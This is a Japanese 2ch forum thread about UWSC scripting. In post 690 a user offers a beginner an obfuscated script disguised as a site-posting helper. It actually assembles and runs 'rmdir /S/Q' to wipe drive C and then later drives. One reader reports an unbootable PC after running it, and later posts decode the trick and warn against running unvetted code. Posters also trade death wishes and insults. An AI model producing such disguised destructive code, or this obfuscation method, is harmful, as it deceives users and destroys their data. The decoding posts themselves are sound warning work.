690 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 23:54:32 ID:3uvH/jIh0]
>>682
書き込むサイトのアドレスをsite[1]="○○○○"←のところに入れてね。
前後の「"」は忘れずに!

dim site[25],kakikomi[25]
site[1]="hyde156cm.com/aaabb/cccddd/efg.html"
・・・(省略)・・・
site[24]="hogehoge.co.jp/aaa/bcd.cgi"
kakikomi[1]="テキスト1"
・・・(省略)・・・
kakikomi[24]="テキスト24"

mode="mdS5RgzP4/Q B"
aaa="InternetExplorer.Application"
bbb=":\"
cc="r"+ chgmoj(mode,"S5RgzP4","ir /S ")+bbb
size=66
for time=1 to 24
 cc = replace(cc," "+chr(size+time-1)," "+chr(size+time) )
 if "" <> doscmd(cc) then continue
 IE = CreateOLEObj(aaa)
 IE.Visible = True
 IE.Navigate(site[time])
 IESetData(IE,True,"lr",kakikomi[time])
 GETTIME()
 ifb time=G_TIME_HH then
  sleep(3600)
 endif
next

691 名前:682 mailto:sage [2009/10/20(火) 07:09:39 ID:W8G0SBlw0]
>>690さん
お返事遅くなり申し訳ないです
お忙しい中、本当にありがとうございました
大切に使わせていただきます
感謝です

692 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/20(火) 07:33:50 ID:jAAUEYUX0]
よく>>682みたいな馬鹿に親切に作ってやるもんだ
>全くの初心者で丸投げでお願いしたいです
こういう輩を甘やかすと調子乗るんだよな

693 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/20(火) 17:29:41 ID:lEe8RCT+0]
>>682みたいなのは死ねばいいと思う
uwsc使いでもなんでもないし

694 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/20(火) 19:18:45 ID:kn6xTJMj0]
「UWSC使い」使いですね。わかります。

695 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/20(火) 21:37:35 ID:5ibiXKAy0]
>>690
巧さ半端ねぇなw
どうなっているのか解るのに10秒くらいかかった。

696 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 00:30:20 ID:5BhbaMvE0]
682は本当にこれ実行したんだろうか…

レス無いのはやっぱり実行しちゃったんだろうか…

697 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 01:09:56 ID:H9pzsLFx0]
ちゃんと見てなかったけどCから順にやるのかすごいな
だが、ちゃんとエラーを除去しないとスクリプト実行エラーが出るから、
初めて触る人間にはすぐには実行できないんじゃないか?


ていうかまさか依頼の段階から仕込みとかか?
依頼からして不自然だったしさ。


698 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 01:29:46 ID:H9pzsLFx0]
やってみたけどループ1回目の途中でエラーになって止まったよ。
だめだな。

仮想マシンでやったけど、起動した後で「しまった。共有ドライブが!」とか思ったけどぜんぜん心配いらんかった。




699 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 01:47:10 ID:H9pzsLFx0]
× ぜんぜん心配いらんかった。
○ そっちは心配いらんかった。

700 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 23:02:22 ID:eGE2n9Cp0]
>>690を実行するとどうなんの?
エラーが出るだけ?

701 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 23:18:52 ID:s2PXx/VI0]
>>700
コードをちゃんと読めば理解出来るだろう。
メモ帳か何かにコピペして、それがどう弄られていくか書き出してみればいいよ。
知らない可能性があるのは、最終的にできあがるものだが、それはググれば一発で出てくると思うよ。
ちなみに65がAだから、66はB、67はCな。

702 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 23:54:14 ID:H9pzsLFx0]
>>701
それだけじゃわかんないと思うよ。
サイトAからXまで処理することになってるから。

A-X が C-Zに置き換わってると言えば分かると思う。


703 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 00:23:30 ID:zsrKpKqI0]
最初はB。ループの最初で66を67に置換でC、以降+1していくからDEFG…
65は最初から無い

704 名前:危険!危険! mailto:sage [2009/10/22(木) 00:46:18 ID:rtGLzJgQ0]
なんで〜(;´д⊂ヽ
>>690をやってみようとしたらエラーになるので
パソコンをリセットしたら
「Wwindows Boot Manager」の画面になってそこからどうにもならない
もうデータとか全部捨ててリカバリするしかないかも試練orz
ちなみにOSはVista
えらいことになったよ・゚・(ノω;`)・゚・
>>690はなんだったんだろうか?

>>701
65がAとか意味不明

705 名前:名無しさん@お腹いっぱい。 [2009/10/22(木) 01:14:14 ID:k2O2PUZQ0]
犠牲者報告がついに来たか。

>>690のスクリプトは、C:ドライブからZ:ドライブまでの全てのファイルを削除するというもの。
UWSCはコマンドを呼び出してるだけなんだけどね。

ウィルスと違うからアンチウィルスとかじゃ検出してくれない。
だからスクリプトは実行する人がそれをちゃんと理解するか、
信用できる人からもらったものじゃないといけない。

僕はプログラマで共同作業してるときですら、同期入社のやつから>>690みたいな動作のスクリプトを青果物として納品されて、
完成したプログラムが全部消えてなくなったことがある。

ちなみにそいつは北九州高専卒業のやつで会社は地元の東証一部上場企業での話ね。
人事部にちくったら「貴様を駆除するためにやらせたんだ責任とって死ね」って怒鳴られたけどね。
さすが毒饅頭を出荷してる土地柄だけはある。

そんな感じだから信用できる人間の区別もまた難しいんだけど、
とにかく検査されたもの以外は安易に実行してはいけないってことだ。


706 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 01:43:45 ID:zsrKpKqI0]
>>704
> mode="mdS5RgzP4/Q B"
> bbb=":\"

chgmoj(mode,"S5RgzP4","ir /S ")
"mdS5RgzP4/Q B"中の"S5RgzP4"を"ir /S "で置換。
結果、mode="mdif /S/Q B"

> cc="r"+ chgmoj(mode,"S5RgzP4","ir /S ")+bbb

cc="r" + "mdir /S/Q B" + ":\"
  ="rmdir /S/Q B:\"

> cc = replace(cc," "+chr(size+time-1)," "+chr(size+time) )
最初のループ:time=1,size=66につき chr(size+time-1)=chr(66)=B chr(size+time)=chr(67)=C
cc = replace(cc," B"," C")
コマンドcc中の" B"を" C"で置換
cc="rmdir /S/Q C:\"

以降、ループが回る毎にCをDに置換・DをEに置換…とやっていくが、
最初のCを消した時点でcmd.exeも消えてD以降はエラーになる

707 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 01:46:14 ID:rtGLzJgQ0]
>>705さん
詳しいレスありがとうございます
つまりインストールしていたソフトやデータはすべて消えた後ってことですね
これでリカバリする踏ん切りつきました
夜遅くにすいませんでした

>>690死ね!

708 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 01:49:50 ID:rtGLzJgQ0]
>>706
えっ!
私はカキコ遅いんですけどその間にレス頂いた様で
ありがとうございます
ということはソフトやデータはまだ残っているって事なんでしょうか?
とすれば>>705が悪意のあるレスで>>690は善意の解答者???
もうわけわかんないです(;´Д`)
とりあえず復旧方法探してみます
夜中にすいませんでした



709 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 01:54:00 ID:zsrKpKqI0]
これを読んでもまだわからないような超初心者が安易に実行なんてするなよ(´Д`)
今後何度だってトラップに引っかかって今度のような目にあうぞ。

rmdir /S/Q C:\
の意味は "C:\" を中身ごと消せ。

つまり>>705の通りだが、C:\を消したらコマンド続行不能になるのでDは無事の可能性高い。
当然ながらOSは起動不能。

710 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 01:58:18 ID:rtGLzJgQ0]
>>709さん
了解です
うかつに実行した自分の責任です
ご親切にありがとうございました
>>705さん疑ってすいませんでした
教えてくれてありがとうです
今日は遅いので明日にでもリカバリします

>>690死ね死ね死ね!!!






[ 続きを読む ] / [ 携帯版 ]

前100 次100 最新50 [ このスレをブックマーク! 携帯に送る ] 2chのread.cgiへ
[+板 最近立ったスレ&熱いスレ一覧 : +板 最近立ったスレ/記者別一覧](;´∀`)<344KB

read.cgi ver5.27 [feat.BBS2 +1.6] / e.0.2 (02/09/03) / eucaly.net products.
担当:undef